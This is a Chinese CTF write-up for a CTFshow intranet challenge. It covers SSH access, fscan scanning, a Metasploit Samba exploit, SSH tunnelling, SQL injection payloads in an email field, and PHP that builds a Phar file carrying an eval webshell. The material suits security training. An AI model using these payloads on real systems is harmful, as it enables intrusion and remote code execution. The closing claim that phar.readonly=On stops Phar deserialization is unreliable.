当前位置: 首页 > news >正文

CTFshow Web内网渗透实战:从SSH到Phar反序列化攻击

1. 内网渗透实战环境搭建与SSH连接

在CTF比赛中,内网渗透是常见的考察方向。我们先从最基本的SSH连接开始说起。假设你已经获得了靶机的SSH登录凭证(用户名和密码),连接命令非常简单:

ssh ctfshow@pwn.challenge.ctf.show -p 28146

这里有几个关键点需要注意:

  • 用户名是ctfshow
  • 服务器地址是pwn.challenge.ctf.show
  • 端口号是28146(非默认的22端口)

连接成功后,第一件事就是上传必要的工具。在内网渗透中,fscan是个非常实用的轻量级扫描工具。我通常会先在本机用wget下载最新版的fscan,然后通过scp上传到靶机:

scp -P 28146 ./fscan ctfshow@pwn.challenge.ctf.show:/tmp/

上传完成后,记得给fscan添加可执行权限:

chmod +x /tmp/fscan

2. 内网扫描与Samba漏洞利用

2.1 使用fscan扫描内网

有了fscan这个利器,我们就可以开始扫描内网了。执行以下命令:

/tmp/fscan -h 172.2.107.0/24

这个命令会扫描172.2.107.0/24网段的所有主机。在实际测试中,我发现.5和.6这两台主机比较可疑:

  • 172.2.107.5运行着Web服务(80端口)
  • 172.2.107.6开放了445端口(Samba服务)

2.2 利用Samba漏洞获取flag

对于172.2.107.6的445端口,我们可以使用Metasploit框架来利用Samba漏洞。靶机已经预装了msf,直接运行:

msfconsole use exploit/linux/samba/is_known_pipename set rhost 172.2.107.6 exploit

这个漏洞利用的是Samba服务的已知管道名漏洞。成功利用后,我们就能拿到第一个flag。在实际操作中,我发现这个漏洞利用非常稳定,成功率很高。

3. SSH端口转发与Web服务访问

3.1 建立SSH隧道

由于172.2.107.5的Web服务无法直接从外部访问,我们需要通过SSH端口转发来访问。执行以下命令:

ssh -L 8085:172.2.107.5:80 ctfshow@pwn.challenge.ctf.show -p 28146

这个命令的意思是:将本地的8085端口映射到内网172.2.107.5的80端口。这样,我们访问本地的8085端口就相当于访问内网的Web服务。

3.2 发现源码泄露

访问http://localhost:8085后,我在页面中发现了一个源码泄露点。通过分析页面源代码,找到了Gitee上的项目地址。下载源码后,我开始进行代码审计。

4. 代码审计与漏洞挖掘

4.1 登录功能分析

在审计登录功能时,我发现开发者使用了doFilter函数对用户名和密码进行了严格过滤,这使得传统的SQL注入难以实现。不过,在dorest函数中发现了突破口:

// 示例代码 function dorest($email) { // 仅验证email格式,未做其他过滤 if(filter_var($email, FILTER_VALIDATE_EMAIL)) { // 执行SQL查询 } }

4.2 构造恶意email实现注入

利用这个漏洞,我们可以构造特殊的email地址实现SQL注入:

email='union/**/select/**/username/**/from/**/user#@qq.com&username=123 email='union/**/select/**/password/**/from/**/user#@qq.com&username=123

通过这些payload,我成功获取到了管理员凭证:用户名ctfshow,密码ctfshase????(最后几位被隐藏)。

5. 文件上传与Phar反序列化攻击

5.1 分析文件上传功能

登录系统后,我发现了一个文件上传功能。经过测试,发现它只检查文件扩展名,不验证文件内容。这意味着我们可以上传任意文件,只要扩展名是允许的(如.png)。

5.2 发现反序列化漏洞

在审计api/index.php时,发现了一个关键漏洞:

// 示例代码 function sendResetMail($mail) { file_put_contents("/var/www/html/mail_cache/cache.php", $mail); }

这个函数直接将$mail内容写入文件,如果能够控制$mail,就能实现任意文件写入。进一步追踪发现,这个函数可以通过反序列化调用。

5.3 构造Phar攻击文件

由于没有直接的反序列化入口,我决定使用Phar反序列化攻击。创建以下PHP文件:

<?php class action { private $email="'.eval(\$_POST[1]));//"; } $a = new action(); $phar = new Phar("yu22x.phar"); $phar->startBuffering(); $phar->setStub(file_get_contents('a.png')."<?php __HALT_COMPILER(); ?>"); $phar->addFromString('test.txt','yu22x'); $phar->setMetadata($a); $phar->stopBuffering();

这里有几个关键点:

  1. 需要准备一个真实的a.png文件作为stub
  2. 将恶意代码放在$email属性中
  3. 生成phar文件后,将扩展名改为.png

5.4 上传并触发Phar文件

将生成的yu22x.png上传到服务器后,通过phar伪协议触发反序列化:

http://localhost:8085/api/index.php?a=view&file=phar:///var/www/html/ckfinder/userfiles/images/yu22x.png

成功触发后,会在/var/www/html/mail_cache/目录下生成cache.php文件,内容就是我们构造的恶意代码。最后,使用蚁剑等工具连接这个webshell,就获得了完整的控制权限。

6. 经验总结与防御建议

在实际渗透测试中,这类漏洞链非常常见。从我的经验来看,防御这类攻击需要多层次的防护:

  1. 对于Samba服务,应及时更新补丁,关闭不必要的共享
  2. Web应用应该对所有用户输入进行严格过滤,包括email格式验证
  3. 文件上传功能应该验证文件内容而不仅仅是扩展名
  4. 禁用不必要的PHP函数,如unserialize
  5. 在php.ini中设置phar.readonly=On,防止Phar反序列化攻击

在CTF比赛中,这类题目很好地模拟了真实世界的渗透场景。通过这次实战,我更加深刻地理解了内网渗透的完整流程和各种技术的结合运用。

http://www.jsqmd.com/news/486676/

相关文章:

  • 2026工业全新 二手不锈钢储罐 冷凝器优质供应商推荐指南 - 资讯焦点
  • 3月16日的笔记
  • 05-抓包利器:Reqable实战配置与核心功能解析
  • YOLO12快速原型开发:3步部署REST API,轻松集成到你的应用中
  • 从骨骼到代谢:精准匹配长辈需求的营养品推荐指南 - 资讯焦点
  • 直击3.15现场:NMN市场乱象横生?奥本元教你如何辨别高纯度NMN避开智商税 - 资讯焦点
  • 深入解析WindowInsets:从源码到实战应用
  • SpringAI实时监控+观测性
  • 1.1 血管增强【值得继续研究】
  • 基于SpringBoot和SenseVoice-Small的智能会议记录系统
  • 跨设备视频自由:m4s格式转换工具技术指南
  • 2026年指标数据仪表盘系统3月最新横评:5款产品在「指标口径统一+实时监控」这件事上,做到了什么程度? - 科技焦点
  • YOLOv8模型训练中的常见陷阱与解决方案-实战总结
  • Docker一键部署Jira 8.0.2:从镜像拉取到破解激活全流程(附阿里云加速)
  • Anaconda+OpenCV安装避坑指南:从清华镜像到版本匹配全流程
  • 保姆级教程:用productFlavors实现MMKV 1.3.x与2.0+的版本共存
  • Cosmos-Reason1-7B实操手册:WebUI界面响应延迟的GPU计算负载优化技巧
  • 【electron】 自定义应用图标与进程名称的完整指南
  • Delphi REST客户端实战:NetHTTP vs REST组件性能对比与选型指南
  • 51单片机实战:DHT11温湿度传感器驱动与数据解析
  • Phi-3-mini-128k-instruct对比传统检索模型:在开放域问答中的精度与速度
  • Forest框架实战:如何优雅处理动态URL和请求拦截(附完整代码示例)
  • STM32开发者必看:用WCH-LINK虚拟串口功能实现调试+日志打印二合一
  • Git-RSCLIP与Anaconda集成:Python环境配置指南
  • 实战指南 | LIS2DW12 加速度传感器—工作模式与数据读取篇
  • [开关电源-拓扑系列] 从伏秒积平衡到设计实战:Buck/Boost/Buck-Boost在CCM模式下的核心公式与选型指南
  • Phi-4-mini-reasoning在ollama中如何做可解释推理?中间步骤可视化与溯源分析
  • 深入解析STM32F103C8T6:硬件资源与低功耗模式实战指南
  • 衡山派开发板PSADC驱动测试指南:从RTOS到裸机的ADC数据采集实战
  • 从零实现:基于SpringBoot的在线废品回收系统设计与实现(2025毕设新手指南)